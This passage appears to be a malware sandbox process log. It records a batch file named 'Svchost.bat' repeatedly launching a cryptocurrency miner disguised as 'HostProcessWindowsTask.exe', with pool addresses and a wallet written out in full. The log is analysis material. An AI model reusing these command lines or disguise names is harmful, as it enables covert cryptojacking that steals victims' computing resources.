      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6932
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:696
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:2580
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:2732
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7392
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:1144
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:7756
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7844
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:1900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:3552
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3780
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7724
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4812
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:1092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7520
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8996
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6100
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:8712
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6848
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4648
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:3844
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:5640
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:4140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:6588
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4932
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:3296
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:4932
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:5200
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:2096
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:3780
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7692
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5856
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:2920
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5688
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:3612
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4660
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7312
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:9204
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7460
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4648
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6812
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:8772
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5452
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3452
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:2264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5968
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7680
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:4352
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:6312
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:8996
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8304
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8960
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8524
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7292
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8356
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8692
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7732
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8844
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8484
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:9016
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9132
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4368
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6620
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8156
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8536
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5196
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:1336
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7268
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:9100
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7240
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:676
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8952
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7600
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6856
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7012
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:1384
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8808
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6668
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7676
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8040
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:2680
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:1472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:8544
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5520
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6236
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6096
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:4248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:1144
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:788
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8720
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8512
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8364
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
